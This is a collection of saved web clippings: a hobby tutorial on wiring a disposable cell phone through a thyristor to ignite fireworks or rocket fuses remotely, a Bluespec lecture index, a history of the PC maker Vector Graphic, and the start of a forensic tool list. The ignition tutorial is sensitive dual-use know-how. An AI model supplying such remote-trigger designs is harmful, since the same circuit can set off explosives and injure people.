slides as background or reference. I am trying to decide how to integrate this
approach into my upcoming TCP/IP Weapons School class at Black Hat, which is
mostly an examination of packet traces using Wireshark. I don't rely on slides
for it.

# Tutorial - Cell Phone Triggered Fireworks \[Project\]

**Created:**| _7/4/2012 6:50:19 PM_  
---|---  
**Updated:**| _7/4/2012 6:50:19 PM_  
**Author:**| __  
**Tags:**| _Embedded hardware Hacks_  
  

> **Cellphone Triggered Fireworks  
>  **  
>
>  
>
> With this tutorial you will be able to create cellphone triggered fireworks.
> Initially this was designed for a hobby rocket launch, but I found it was
> just as practical with fireworks <img src='img/Temp2_8547.png' alt='alt' />.
> You call the cell phone, and it will auto ignite the firework/rocket for you
> with a fuse. I already built this a couple of months back, so you might see
> all the wires already soldered, as with this tutorial I went back and took
> apart the phone to take pictures for this tutorial. For the record, I did
> not come up with this idea, props go to a fellow by the name of John that
> attends my university for the idea and first build.  
>  **Note** : I'm not responsible for what you do with this, or if you
> accidentally harm yourself. Only do this with fireworks/rockets if legal
> according to your state law.  
>  **Intellectual Copyright:** I do **not** want to see this tutorial copied
> on any other website without my written permission.  
>  
>  **Materials Needed:  
>  **
>   * Disposable cell phone - $10 from Walmart \(I used this model in this
> tutorial\)
>   * Thyristor - $1.15 \(I used the 2N6400G thyristor in this tutorial\)
>   * Electrical Wire \(STG\) - $5/spindle
>   * Hobby Rocket Fuses - ~$5
>   *  _\(Optional\)_ AA Battery Holder Case - ~$4
>   *  _\(Optional\)_ Electrical Tape
>
**Tutorial:  
>  
>  <img src='img/Temp2_8546.png' alt='alt' />  
>  **  
>  The contraption is devised into 3 components. The Phone, the AA battery
> pack \(or possibly a 9V battery taped to the back of the phone\), and the
> the lead wires connected to alligator clips that will hook on to your fuse.
> I suggest using alligator clips as it makes it easy to take apart your
> contraption, and pop in a new fuse in place of the old one.  
>  
>  Lets first take a look at the phone.  
>  <img src='img/Temp2_8537.png' alt='alt' />  
>  
>  The phone is a cheap $10 disposable phone that I got at Walmart. For our
> purpose, we will only need the phone to ring when called, so you **don't**
> have to buy any minutes for it. Basically when the phone rings, the phone
> sends out a pulse to the speakers. The phone has both a small speaker for
> the ear head, and one in the back for the speakerphone. The speakerphone
> receives a higher voltage, so we will be using that one for our leads. We're
> going to pop out the speakerphone speaker and take 2 wires and solder them
> to the leads where the speakerphone speaker was, and connect them to the
> trigger pin of a thyristor, which once it receives the trigger voltage, it
> will allow current to flow freely between the anode and the cathode. The
> kicker is that with the thyristor, current will still flow even once the
> speakerphone stops sending voltage, so I would highly recommend purchasing a
> AA battery pack holder that has an on/off switch to open and close the
> circuit. Once the thyristor allows current to flow from the anode and
> cathode, current will flow freely throughout the entire circuit, and most
> importantly, our lead wires connected to our rocket fuse \(or LED for
> testing purposes\).  
>  
>  Lets take a quick glance at the schematic here.  
>  
>  <img src='img/Temp2_8548.png' alt='alt' />  
>  <img
> src='http://www.zomgstuff.net/Tutorials/PhoneRemoteTutorial/schematic.JPG'
> alt='alt' /><img
> src='http://www.zomgstuff.net/Tutorials/PhoneRemoteTutorial/schematic.jpg'
> alt='alt' />  
>  As a quick recap, current flows from the phone to the thyristor, which
> sends a steady flow of current throw our lead wires to the fuse/LED.  
>  
>  Go ahead and flip the phone over and slide off battery door, the SIM card
> and remove all 6 screws.  
>  <img src='img/Temp2_8550.png' alt='alt' />  
>  
>  Getting the phone case apart is a bit tricky, as there are 2 latches on the
> sides, and one on the very top of the phone. I recommend lodging a
> screwdriver on both sides of the phone, and then popping open the case with
> a 3rd screwdriver wedged from the top.  
>  
>  <img src='img/Temp2_8542.png' alt='alt' />  
>  <img src='img/Temp2_8539.png' alt='alt' />  
>  
>  
>  Once you get the plastic case off, you will see the inside of the phone.
> The speakerphone speaker is inside the large rectangular-like metallic
> protective enclosure at the top, which just snaps right off. Once you pop
> the protective brick off, you will see the speakerphone. You can just pop
> off the speakerphone speaker as we won't be needing it, we'll be soldering
> our wires onto the leads where the speaker springs were previously connected
> to.  
>  
>  <img src='img/Temp2_8544.png' alt='alt' />  
>  
>  Go ahead and solder 2 wires onto the leads, one is positive and the other
> one is the negative lead. You can figure out which one is which by using
> either a voltmeter or a multimeter, and be sure to mark the ends of the
> wires with a plus \(+\) and minus \(-\), so you know which way to connect
> them with the thyristor/battery pack. Below is a photo of the speakerphone
> speaker that we pulled right out, which you can salvage for any future
> projects.  
>  
>  <img src='img/Temp2_8540.png' alt='alt' />  
>  
>  You can now snap the protective speakerphone brick back on, and string the
> wires through the hole in the middle. The more efficient way I found to have
> the wires come out the phone is to remove the headset jack from the side of
> the phone, and string the 2 wires through that hole.  
>  <img src='img/Temp2_8549.png' alt='alt' />  
>  
>  I will not go through the process of describing how to solder the thyristor
> with the battery, as it's pretty self-explanatory from the schematic. I'd
> recommend trying it out on a breadboard before soldering the mini-circuit
> together. In the image below, I soldered the thyristor with the appropriate
> wires on a small PCB, that I covered in electrical tape, and taped to the
> top of the AA battery pack holder. There are 2 sets of wires with alligator
> clips coming from the battery pack/PCB, one to the phone, and the other to
> our rocket fuse \(or LED\).  
>  
>  <img src='img/Temp2_8541.png' alt='alt' />  
>  
>  
>  Here is me testing out the phone with an LED to make sure it works
> correctly.  
>  
>  <img src='img/Temp2_8538.png' alt='alt' />  
>  
>  Once you know that your circuit works correctly, you can replace it with a
> rocket fuse. Once a certain current & voltage flows through the 2 ends of
> the fuse, the combustible power at the tip will ignite, which you will stick
> into the rocket or to a firework fuse. Even once the power ignites, the fuse
> will still work for a couple of more trials, as the thin metal at the end
> glows red.  
>  
>  <img src='img/Temp2_8543.png' alt='alt' />  
>  
>  <img src='img/Temp2_8545.png' alt='alt' />  
>  
>  Below is a video of me testing out the contraption by calling the
> disposable cellphone from my home phone.  
>  
>  
>  
>  A simple explanation of how the cellphone sends the signal pulse  
>  
>  
>  
>  
>  
>  **Possible Modifications:  
>  **
>   * Replace the rocket fuse with a PIC/Arduino microprocessor and analyze
> the signal, and create a touch-tone signal analyzer, which you can implement
> into a cell-phone controlled RC car.
>   * ???
>   * Profit\!
>
http://digg.com/mods/Cell\_Phone\_Trig...works\_Launcher  
>  
>  Please digg\!\!  
>  
>  **05/02/10 Update:  
>  **All the images should be back up now\!

# Lectures - Bluespec Design \(SNU 2011\) - AWB/Leap Projects

**Created:**| _2/23/2012 9:47:56 PM_  
---|---  
**Updated:**| _2/23/2012 9:47:59 PM_  
**Author:**| __  
**Tags:**| _hardware research haskell awesome Functional_  
  

# MIT Classes » MIT-6.375 » Bluespec Design \(SNU 2011\)

  * Overview
  * Activity
  * Wiki
  * 

### Wiki

Start page  
Index by title  
Index by date  

History

# Lectures

Below are the course lectures in PDF and PowerPoint format. The PowerPoints
contain full animation

### Lecture 1: Introduction To Bluespec

PDF | PPTX
### Lecture 2: IFFT

PDF | PPTX
### Lecture 3: Inelastic Pipelines

PDF | PPTX
### Lecture 4: Elastic Pipelines

PDF | PPTX
### Lecture 5: IP Lookup

PDF | PPTX
### Lecture 6: Pipelined Processors

PDF | PPTX
### Lecture 7: Elastic Pipelined Processors

PDF | PPTX
### Lecture 8: Modular Refinement

PDF | PPTX
### Lecture 9: Statement FSM

PDF | PPTX
### Lecture 10: Hardware/Software Co-Design

PDF | PPTX
Powered by

# How Two Bored 1970s Housewives Helped Create The PC Industry | Fast Company | Business + Innovation
**Created:**| _7/29/2015 9:40:25 PM_  
---|---  
**Updated:**| _7/29/2015 9:40:25 PM_  
**Author:**| __  
**Tags:**| _History_  
  

# How Two Bored 1970s Housewives Helped Create The PC Industry

Vector Graphic became one of the best-known computer manufacturers of its era.
It went public. Then the IBM PC changed everything.

By Benj Edwards

In April 1977, Steve Jobs and Steve Wozniak rented a booth at the formative
industry conference for the personal computer, the First West Coast Computer
Faire in San Francisco. They were there to launch Apple's first breakthrough
machine, the Apple II.

<img src='img/Temp2_4051.jpg' />

Vector Graphic founders Lore Harp, Bob Harp, and Carole Ely on a 1981 magazine
cover

What few people know today is that only a few rows away at the same show, two
women from Southern California were busy launching an innovative machine of
their own. Lore Harp and Carole Ely of Westlake Village brought along the
Vector 1, a PC designed by Lore's husband, Bob Harp. The computer derived its
moniker from the name of their young company, Vector Graphic, Inc.

At a time when Vector and Apple were both tiny firms looking to gain a footing
in an entirely new market, it was not instantly obvious which company would
become more successful—for example, _Byte_ magazine's report on the conference
mentioned Vector but spilled no ink on Apple, which would eventually become
the most valuable company on the planet.

For its part, Vector Graphic went on to become one of the best known PC makers
of the late 1970s. Like Apple, it was one of the first computer companies to
go public, and like Apple, it set its products apart from the crowd with its
attention to industrial design.

But unlike Apple, Vector vanished from the face of the earth. It faded from
our collective memory because it did not survive the massive industry upheaval
brought about by the release of the IBM PC in late 1981. Very few PC makers
did. But the story of how the Vector trio went from nothing to soaring
success—and then collapse—is a tale worth retelling.

#### "I Cannot Stand Being at Home"

Traditionally, people move to the suburbs specifically to avoid novelty. And
yet, in 1970s California, suburbia often served as a crucible for
entrepreneurial risk-taking.

Many know the story of how Steve Jobs and Steve Wozniak launched Apple with a
foothold in the Jobs family garage in suburban Los Altos, California. Around
that same time, about 350 miles south, a spirit of entrepreneurship similarly
captivated an entire Westlake Village household. In fact, it pulled in the
neighbors, too.

<img src='img/Temp2_4048.jpg' />

Carole Ely and Lore Harp with the Vector 1, a stylish computer for its time

The Harps, who moved into the area in the early 1970s, were a typical suburban
family: a father that worked in an office all day, a stay-at-home mom, and two
elementary-school-aged girls. That father, Dr. Robert Harp, spent his days as
a senior scientist for Hughes Research Labs in Malibu, and his wife, a recent
German immigrant named Lore, kept house.  
  
When Lore Lange-Hegermann first visited California in 1966, on a solo trip at
the age of 20, she discovered an energizing atmosphere of freedom from
parental meddling and a general sense that anything was possible. "I felt as
though I was cutting the umbilical cord for the second time," she recalls.  
  
Against the wishes of her parents, Lore decided to remain in the States. She
picked up odd jobs until she met Bob Harp, who worked as a member of the
faculty at Cal Tech. The two got married and had two daughters, and Lore
earned a bachelor's degree in anthropology from Cal State, Los Angeles.  
  
By 1975, Lore began to feel antsy. She found her talents wasting while her
kids spent their days in class and her husband did the 9-to-5 at Hughes.
Against this, as with her parents, she rebelled. ''I cannot stand being at
home,'' said Lore in a 1983 _New York Times_ article. ''It drives me insane.
Everybody thought I was strange because I would not go to the bridge club or
have my fingernails done.''

<img src='img/Temp2_4041.jpg' />

Carole Ely at work in 1978

Lore Harp met a kindred spirit in the form of a neighbor, Carole Ely, whose
kids shared classes with the Harp children. Like Lore, she found the life of a
homemaker wanting. "We were bored doing the housewife thing," recalls Ely
today. "I was ready to be something." Just a few years prior, Ely had worked
for large investment firms such as Merrill Lynch on the east coast, and she
was itching to get back to business.  
  
Together, the pair of bored housewives decided they needed something more
productive to do. They began to explore ideas for starting a new business.
Drawing from their shared love of travel, they first considered starting a
travel agency, but the licenses required to operate one proved too burdensome
and the possibility of profits too slim.

Then a uniquely 1970s opportunity popped up. During an era when the typical
small computer came in a refrigerator-sized chassis and cost tens of thousands
of dollars, an Albuquerque engineer named Ed Roberts took advantage of the
incredibly-shrinking microprocessor to create a computer that hobbyists could
build themselves from a kit.

That machine, the Altair 8800, debuted on the cover of the January 1975 issue
of _Popular Electronics_ , which reached a wide audience of technically-minded
people. Roberts's company, MITS, became the pioneering firm of the personal
computer revolution.

<img src='img/Temp2_4050.jpg' />

The magazine cover that spawned the PC business

One of the many electronics buffs who saw that article—and placed an order for
an Altair kit—was Bob Harp. When it arrived, he found its memory board poorly
designed. Instead of returning the kit, Bob reacted like most engineers of the
time: he created his own memory board to replace it.

As a kid, Bob began experimenting with electronics when his family moved to a
farm without electricity. He sought to build his own battery-powered crystal
radios so he could pick up the radio shows he had grown fond of at his old
house. It was frustrating, but the quest ignited a love of science which led
him to acquire degrees in physics from Stanford and MIT.  
  
Bob's first computer electronics project emerged from the Altair in the form
of that 8K static memory board. It plugged into the Altair's 100-pin expansion
bus, which the industry later dubbed S-100 in a nod to vendor neutrality. That
bus became the basis of the first personal computer hardware standard—one that
typically ran Digital Research's CP/M operating system. A rich industry
sprouted around this fertile oasis, with multiple companies providing plug-in
CPU, memory, video, and other peripheral cards for S-100-based systems.
Meanwhile, other firms specialized in the software necessary to make those
systems useful—including an outfit known at first as Micro-soft, founded by
Bill Gates and Paul Allen.

<img src='img/Temp2_4043.jpg' />

Bob Harp in 1981

Bob Harp's memory board worked well, and he recognized that it could serve as
a lucrative commercial product. Lacking the time and resources to
commercialize it, he put it on the back burner for almost a year. But in 1976,
when his wife and Ely were trying to hatch a business, he offered his Altair
memory board as a potential product.  
  
As exciting as the opportunity sounded to Lore, computers represented
completely foreign territory for both her and Ely \(and, for that matter,
nearly everyone else on the planet in 1976\). Lore recalls: "I called my
friend and I said, 'Carole, what do you think about starting a computer
company? I have this little 8K RAM board.' She said, 'What’s a RAM board?'"  
  
To familiarize Lore and Carole with the nascent field of personal computers,
Bob Harp took the pair to a local computer show. There, the trio witnessed an
eager, untapped market full of enthusiasts peeling off wads of cash to
purchase unrefined, half-baked products. "It was an entirely new industry,"
recalls Bob. "In modern industries, the products are all good. They've been
perfected over many years. But at that time, the competition was very poor."

<img src='img/Temp2_4045.jpg' />

An early Vector ad. Few other PC companies would reference mothers and babies
in their marketing.

Lore and Carole found the idea of having their own physical product to sell
appealing. With a good technical underpinning and a focus on style and
aesthetics, they knew their boards could stand ahead of the pack. The pair
even went so far as to seek out specifically-hued capacitors that would not
clash with the other components on their circuit boards. "I don’t know what
people thought of us: two females looking for colored capacitors," Ely told
_InfoWorld_ in 1982. "But we were interested in what colors went into our
boards."  
  
As the duo geared up to start the machinery of a new corporation, which they
registered in August 1976, Bob suggested the title of the new firm: Vector
Graphic. He based the name on a certain type of video board he wanted to
design. He never did design that board, but the name stuck.

Despite originating the name and the product, Bob decided to keep his steady
job at Hughes while Lore and Carole ran the Vector business. \(When they
couldn’t answer a customer question, they called him at work.\) Lore Harp
became president and CEO, and Ely specialized in marketing and communications.
Bob Harp, who became chairman, didn’t join the company on a full-time basis
until July 1977.  
  
Lore Harp and Carole Ely started Vector with $6,000 in capital. The pair soon
hit upon a formula for selling Bob's board in kit form via mail order,
advertising in nationwide magazines. By requiring cash-on-delivery and
allowing no returns, the company found itself cash flow positive from the very
beginning.  
  
Lore and Carole set up two desks in a spare bedroom of the Harp residence, and
for a short time, the whole family helped assemble the computer boards in
their suburban electronics factory. According to a 1982 _Time_ magazine
article, they tested computers on the dining room table and kept packing
materials in a shower.  
  
When it came time to negotiate with component suppliers, Lore initially had
trouble convincing them that the pair meant serious business. Lacking a formal
office, she tried to take meetings outside of the house whenever possible.
\(Eventually, Vector grew big enough that it moved its operations into a
former department store.\) AMD wanted astronomical prices for memory chips,
but finally, they struck a better deal with Fairchild, which supplied Vector's
chips for some time.

#### "Let's Do the Whole System"

Vector's memory board proved wildly successful—by the standards of the still-
minuscule industry—and its sales fueled rapid growth. Soon, Bob designed other
boards for S-100 bus machines, including a PROM board that eliminated the need
for hobbyists to manually enter a boot-up program sequence via front panel
switches \(as was the norm with the Altair at the time\). He followed that
with a text-based video board, another memory board, a serial I/O board, a
power supply, and a motherboard that allowed the boards to connect together.
Hobbyists received each of these constituent pieces with enthusiasm, and they
all sold fairly well. As business continued to grow, the next step for Vector
became an obvious one. "We saw that there was a good market for the individual
boards," recalls Bob, "so I said, 'Well, let's do the whole system.'"

<img src='img/Temp2_4042.jpg' />

This ad for the Vector 1, "the perfect microcomputer," emphasized the fact it
had only two buttons on its front panel.

The result was the Vector 1, launched in 1977, which shipped in two case
colors, green or orange \(or "rust" as they called it at the time\). Lore and
Carole's emphasis on visual aesthetics led them to offer this choice of colors
at a time when many companies gave little thought to what their computers
looked like \(and it was only starting to become a given that PCs shipped in a
case at all\). An attempt to order orange circuit boards to match the orange
case went awry when the first batch of fifty came back pink.

Distinctively, the Vector 1 came equipped with only two front panel
buttons—power and reset—which symbolized ease-of-use in an era marked by rows
of intimidating toggle switches. \(A later variant called the Vector 1+ built
a floppy disk drive into the case; it was the first PC to offer this feature,
which eventually became an industry standard.\) The Intel 8080A-based Vector 1
retailed for $849 fully assembled \(about $3,288 today when adjusted for
inflation\) or $619 as a kit.

"We always looked at the Apple II as more of a toy."

At the time of the Vector 1's launch, personal computers retailed through mom-
and-pop shops and tiny chains. To market their PC, Lore and Carole began
contacting every dealer they could find, building valuable relationships that
turned into an impressive international dealer network within a few years. The
retailers would sell Vector's products to local customers, and soon, Vector
began training the dealers with a certification process for customer support
as well. The loyalty of this network would became the company's ace-in-the-
hole during the intensely competitive years ahead.

In April 1977, when the Vector 1 and Apple II both launched at the West Coast
Computer Faire, the two firms \(who happened to be located hundreds of miles
apart\) never dealt with each other. Vector felt it was targeting the high-end
of the relatively mature S-100 market, while Apple was marketing an entirely
untested new architecture for the everyman. As a result, Vector did not find
Apple's products threatening at first.

"We always looked at the Apple II as more of a toy," recalls Lore, "We went
immediately after the business market, and not so much the personal computer
market." Bob Harp agrees, although he greatly appreciated Wozniak's design of
the Apple II. Carole Ely remarks that she envied the Apple II's stylish design
and appealing nature to individuals.

<img src='img/Temp2_4052.jpg' />

An ad from a period when Vector used the lofty slogan "Computers for the
advancement of society"

The PC market as a whole grew at a torrid pace, with revolutions in design and
price rolling in every week. Within two years, the industry moved away from
hobbyist build-it-yourself kits and into more whole-widget, plug-and-play
systems. All the hallmarks of an S-100-based system—the large, individual
boards with numerous components, the hulking metal chassis, big power
supplies, and expensive connectors—meant that S-100 machines could not compete
cost-wise with less complex home PC systems.  
  
As those budget machines \(such as the TRS-80 and Commodore PET\) captured the
lower end of the PC market, S-100 vendors like Vector, Cromemco, and IMSAI
quickly shifted into the upper-end of the personal computer market where
profits were comfortable, and where sophisticated business customers regarded
the endless customization options afforded by S-100-based machines as a boon.

The difference in price between the old-school S-100 computers and the new
consumer PCs could be dramatic: In 1979, a floppy disk-based Apple II+, the
high-end of the home PC market and the low end of the small business market,
retailed for around $2000 in a bare-bones configuration. A Cromemco or Vector
S-100 bus system \(depending on RAM and if it shipped with a hard disk\) could
cost between $4000 and $20,000—and that's not even counting for inflation,
which reveals that the modern price equivalents of those higher-end computer
systems soars into Mercedes-Benz territory.  
  
But as those cheaper machines became more and more capable, Vector found Apple
nipping at its heels. A key moment came in 1979, when the first spreadsheet,
VisiCalc, prompted many businesses to consider buying a computer for the first
time—and VisiCalc only ran on the Apple II. "It was just huge competition from
both sides, from the top to the bottom of the market," recalls Ely. "The top
end, the systems end, and the bottom end, the personal end, with Apple."

#### Onward and Upward

With the small-business strategy in mind, Vector's sales rocketed, and the
firm introduced successor machines throughout the late 1970s that served their
desired market with ample productivity software packages and complete turnkey
systems.  
  
Soon, the story of the California housewives who created a multi-million
dollar company captivated the press, and Lore Harp found herself on the cover
of multiple magazines.

<img src='img/Temp2_4047.jpg' />

Lore on the cover of _Inc._ magazine's March 1981 issue

Vector was quickly becoming a big deal—one of the earliest examples of a PC
brand that broke free of the industry trade mags and into the mainstream.
"While Godbout, Morrow, Cromemco, and a number of new S-100 machines and and
cards can be seen in the latest issue of _Byte_ ," wrote pundit-to-be John C.
Dvorak in _InfoWorld_ , "you'll find Vector Graphic advertising in
_BusinessWeek_ and Lore Harp on the cover of the March 1981 issue of _Inc._ ,
a small-business magazine."  
  
In the industry, Lore and Carole became known as the "girls in green and
white" for the company colors they often wore to trade conferences. Lore
became a press darling. She enjoyed friendships with industry luminaries like
Bill Gates and pundit-turned-PC-company-founder Adam Osborne. In the early
1980s, she would even end up partying in Paris, France, with California
governor Jerry Brown and Steve Jobs as part of a delegation of California
technologists.

Lore wasn't just regarded as a tech celebrity, but as a business maven in her
field. In a 1983 article published after Vector began to run into trouble, the
_New York Times_ ' Michael S. Malone said that "Lore Harp quickly showed she
was more than just a business manager as she guided the company with a shrewd
sense of the market’s needs and possibilities."

As chief executive, Lore prided herself on frugality, positive cash flow, and
avoiding debt. And on a personal level, she says that she found her role as a
mother of two young girls to be a significant business asset, parlaying her
maternal instinct into a respect for the well-being of her employees and their
families. "Vector was a very close family, and a good bit of this was directly
attributable to how Lore ran the company as our CEO," recalls Dennis Wingo,
who worked as a technician for Vector during the early 1980s.

According to Wingo, Lore became known for her people-centric management style,
running her company as a meritocracy with promotions accorded by
accomplishments and actual skill rather than educational bona fides or gender.
When asked in a 1981 interview why she did not specifically hire more women at
Vector, Lore remarked that she hired whomever was best for the job, regardless
of sex.

<img src='img/Temp2_4044.jpg' />

Lore Harp and PC pundit/entrepreneur Adam Osborne at a 1981 party held by
_InfoWorld_ magazine

Today, Lore says she never encountered significant opposition from men in the
industry. When she heard rumors of the the term "ice maiden" used to describe
her, she took the name-calling as a sign of her effectiveness and moved
forward.  
  
In her prior career on Wall Street, Carole Ely had witnessed fewer
opportunities for the advancement of women in those firms. At Vector, she
found no such troubles—perhaps due in large part to the fact that she and her
boss, both women, had defined a company culture that strived to operate in an
equitable manner.  
  
Meanwhile, Bob Harp felt the media paid too much attention to the fact that
Carole and Lore were women, when it was he, in fact, who made the company
possible with his hardware designs. \(Still, he admits today, he admired
Lore's tenacity and ability to lead.\)

"Between them, Lore, Carole, and Bob represented three of the primary
divisions of any technology company."

As head of PR, Carole understood the appeal of a woman tech executive, and had
no trouble stepping aside while Lore emerged as the face of the company. "It
just happened naturally," says Ely. "People would meet Lore. She was out there
all the time." But this unrelenting focus on the company's female president
began to ruffle Bob's feathers. Carole recalls that when press attention
turned to technical interview questions, she always included Bob Harp in
discussions with journalists. \(Looking back over press coverage of the time
confirms this, although he was never featured as prominently as Lore.\)

In retrospect, it's clear that the early success of Vector resulted from a
team effort, and that the company thrived on the unique combination of talents
of its founders. Between them, Lore, Carole, and Bob represented three of the
primary divisions of any technology company—management, marketing, and
engineering—and that is a powerful recipe for any founding team to have. "It
was a good group, the three of us," says Ely. "A good trio."  
  
With great successes come great pressures, however, and in 1980, the
partnership began to crack at the seams. The stresses of the company took a
heavy toll on Bob and Lore's marriage, prompting them to seek a divorce, which
sent ripples of discontent throughout the company. \(_Time_ quoted Bob Ely:
"It was an ego conflict. She wanted to do things one way; I wanted to do them
another."\) While Lore hoped that the break-up would have little impact on the
future of the firm, the split between the company's president and its chief
product designer set the stage for rough times. It was a bad time to be having
problems, because Vector's toughest days lay just ahead.

#### The Lumbering Giant Awakens

Around 1980, IBM began knocking on doors in the microcomputer industry under
the pretense of potentially licensing existing computer hardware to serve as
its own IBM-branded personal computer. IBM used its clout as the leading
mainframe computer maker to convince many small PC companies to "open the
kimono" \(in the parlance of the day\) to reveal the nature of their
technology and information on how lucrative the PC business really was. The
company famously conferred with major software developers Digital Research
\(which didn't take the visit too seriously\) and Microsoft \(which did\).

"We have one year before they come in, and the whole world is going to
change."

Vector received one of these visits from IBM in 1980. Don Estridge, head of
the new PC project at IBM, arrived with seven associates at Vector's
headquarters, which was then in Thousand Oaks, Calif. Lore recalls the scene:
"I looked at him and said, 'You know, this is a joke. You have $25 billion in
revenue. We’re a $25 million company and you want to OEM from us?'"  
  
No agreements were made, but the meeting ended on polite terms and IBM walked
away with a Vector 3 system for evaluation. "I called a meeting immediately
afterwards and said, 'We have one year before they come in, and the whole
world is going to change,'" recalls Lore.

<img src='img/Temp2_4049.jpg' />

A 1981 ad for the original IBM PC

From her vantage point in marketing, Carole Ely was terrified of IBM entering
the business. "It totally freaked me out," she says. "IBM bought one of our
systems and took it down to Boca Raton where they had their new development
labs. We thought, 'Well, there we go. Let's see what happens.'"  
  
With clear signs of IBM entering the small systems business, Lore knew the
clock was ticking. She set a goal to take Vector public while she still had
the chance.  
  
While IBM did not end up using Vector's hardware \(or even copying it, as some
at Vector had feared\), IBM did something even more devastating: they studied
the very effective relationships Vector had made with its business software
suppliers, including Peachtree Software, maker of a popular accounting
package. Before the launch, IBM had extended secret contracts to several of
those software vendors, assuring that the IBM PC would also be able to run the
applications right from the start. This undermined a great deal of Vector's
software-derived competitive advantage in the small-business PC world.  
  
It was not yet obvious to everyone in the industry that the battle over the
future of personal computing would be fought through software on a
commoditized platform, but Bob Harp had a strong hunch, and he saw the IBM PC
as an existential threat to the entire company: "It was clear to me that IBM
was going to drive the software in the architecture of the systems," recalls
Bob. "And in order to survive, you had to be compatible."  
  
Bob fought with Vector's board of directors, insisting the company should sell
an IBM PC compatible machine, but Lore and the board resisted. From Vector's
point of view, the choice to become IBM PC compatible was far from clear-cut.
Had the company switched abruptly to a new, unproven platform, it would have
alienated its customers by abandoning the CP/M-based systems that that been a
proven success for over half a decade.  
  
The fight over PC compatibility brought Bob's discontent to a head. He was
already uncomfortable working for his soon-to-be ex-wife, and now he saw
impending doom on the company's horizon. According to Bob, he began working on
a side project on company time with the express intention of irritating
Vector's board of directors.  
  
"I felt that I had to leave the company and start another one based on PC
compatibles," says Bob. Vector's board granted his wish, firing him in 1981.
The following year, Bob founded Corona Data Systems, which created one of the
first IBM PC clones. Losing the engineer who had designed almost all of its
hardware products since 1976 was a huge blow for Vector.

<img src='img/Temp2_4053.jpg' />

The cover of Vector's 1982 annual report

But things weren't all doom and gloom in 1981. Earlier in the year, as Vector
prepared to go public, Lore made sure that every Vector employee shared in the
fruits of the sale, granting 100 shares of stock for every year they worked at
the company.  
  
"The underwriters were up in arms," she remembers, "They said, 'Our stock is
for management.'" Lore explained that, in her mind, the lowest paid employee
on the assembly line is as important as everybody else in the company. If he
missed a screw or made a mistake, she explained, they would all take the
blame.  
  
Needless to say, this was a popular move within the company itself. As for the
founders, they ended up with over $3 million apiece when Vector went public in
October, offering one million shares at $13.

"The IBM PC's jump into the market had a clarifying effect on the industry."

"It was exhilarating. It was fantastic," recalls Lore of the IPO, which would
represent her crowning achievement at the company. With that launch, Lore
became the first female founder to take her company public on the New York
Stock Exchange.

But the celebration was short-lived. IBM PC's jump into the personal computer
market in August of that year had a clarifying effect on the industry.
Businesses which would have bought an S-100 system in the past instead began
buying IBM PCs or machines compatible with IBM's hardware and Microsoft's MS-
DOS operating system.  
  
Vector responded to the IBM threat—two years later—with a dual-processor
approach in the Vector 4, a machine which combined the company's longstanding
CP/M support with limited MS-DOS compatibility as an intended bridge to an IBM
PC-dominated future. But it was too little, too late. The company's fate had
been pre-ordained as soon as it turned away from true IBM PC compatibility.
Vector was already dead; it just didn't know it yet.

#### The Beginning of the End

In 1982, Lore married tech media magnate Patrick McGovern, the founder of
research firm IDC and publisher of _Computerworld_ and _InfoWorld_ \(and,
later, _PC World_ , _Macworld_ , and _GamePro_\). She sought a new beginning
with more time devoted to her marriage. In June of 1982, she passed the reigns
of president and CEO to Honeywell veteran Fred Snow, while remaining chairman.
Snow's tenure coincided with a downturn in sales, so in May of 1983, Vector's
board convinced Lore to return as president and CEO. She began commuting over
with an 800-mile round trip every day from her home in San Francisco.

<img src='img/Temp2_4046.jpg' />

Lore Harp on yet another magazine cover

By 1983, managing Vector was like trying to chart the destination of a sinking
ship. Sales began to tank due to small businesses industry switching to IBM
PCs in droves. Between the grueling daily commute and a lack of love from the
board of directors, Lore had had enough. She stepped down once again, this
time for good. It was 1984; she was 40 years old.  
  
In her absence, Vector grew desperate. The firm's revenue slid from a peak of
$36.2 million in 1981 to just $2.1 million in 1984. One of the company's final
models, the Vector SX, served the company like a Band-Aid on a jugular wound.
In a 1983 _InfoWorld_ article during its launch that April, Vector marketing
director Ron Tharpe cluelessly claimed that the SX's IBM-compatible floppy
drives put Vector on "an evolutionary path toward greater IBM compatibility."
At that sluggish rate, one can only surmise that the goal was being 100% IBM
PC compatible by 1990.

Instead, time ran out, and quickly. The ugly end game for Vector graphic
involved plunging revenue, desperate loans, defaulting on debt, and management
losing control of the company to a loan guarantor. The company filed for
bankruptcy in 1985, ceased operations in 1986, and a holding company
liquidated all its assets, marking the final demise of Vector Graphic, Inc. in
1987—a decade after the launch of its first computer.

#### Forgotten History

The truth is that, from 1982 on, no one could have saved Vector. The firm
ultimately shared its fate with the every other PC maker that didn't jump on
the IBM clone bandwagon. The only consumer PC company that survived into the
1990s with its own significant platform was Apple, and even then, just barely.
In the end, Vector had one heck of a wild ride, made its mark on the PC
industry, and helped create the template of business-oriented software and
services that IBM could mimic with its PC for a dose of guaranteed success.

Since then, personal computer history has been written by the victors. The
firms that survived were able to dictate the historical narrative of the
industry—and that history usually places the two Steves at ground zero in
Silicon Valley battling evil giants like IBM, leaving little room for
outsiders from southern California, much less the rest of the world.

Reality is less tidy. By the time of Vector's disintegration, all three of the
original founders had moved on to other businesses \(Ely left Vector without
drama in 1983\). As usual, Lore Harp McGovern remained fearless: her very next
venture pioneered a disposable device that allowed women to urinate standing
up. "It was a little bit ahead of its time," she says, without any hint of
understatement.

In 2015, the tech industry's gender gap remains a topic that generates
headlines. It would be easy to conclude that this gap was an original sin of a
male-dominated industry. But we've forgotten how two women from California ran
a firm that pioneered influential practices such as attention to product
aesthetics, vertical integration \(Vector has its own in-house software
developers\), and establishing training networks, providing packaged PC
solutions, and treating employees like an extended family. Some of what Vector
pioneered is now intertwined into the tech industry's DNA.

Thanks to Vector, the origins of the personal computer cannot be separated
from the story of women in technology. The personal computer has always
belonged to all of us.

# Windows Incident Response: FOSS Tools

**Created:**| _10/29/2013 9:39:32 AM_  
---|---  
**Updated:**| _10/29/2013 9:39:32 AM_  
**Author:**| __  
**Tags:**| _security tools Forensics_  
  

# Windows Incident Response****

The Windows Incident Response Blog is dedicated to the myriad information
surrounding and inherent to the topics of IR and digital analysis of Windows
systems. This blog provides information in support of my books; "Windows
Forensic Analysis 2/e", "Windows Registry Forensics", "Windows Forensic
Analysis Toolkit 3/e", as well as the book I co-authored with Cory Altheide,
"Digital Forensics with Open Source Tools"**.**

###  FOSS Tools****

I wanted to keep a list of tools as a reference for myself, but also provide
it in such a manner that others can make use of the list, as well**.**  
  
**Memory Collection/Analysis**  
FTK Imager \- Includes the ability to collect memory  
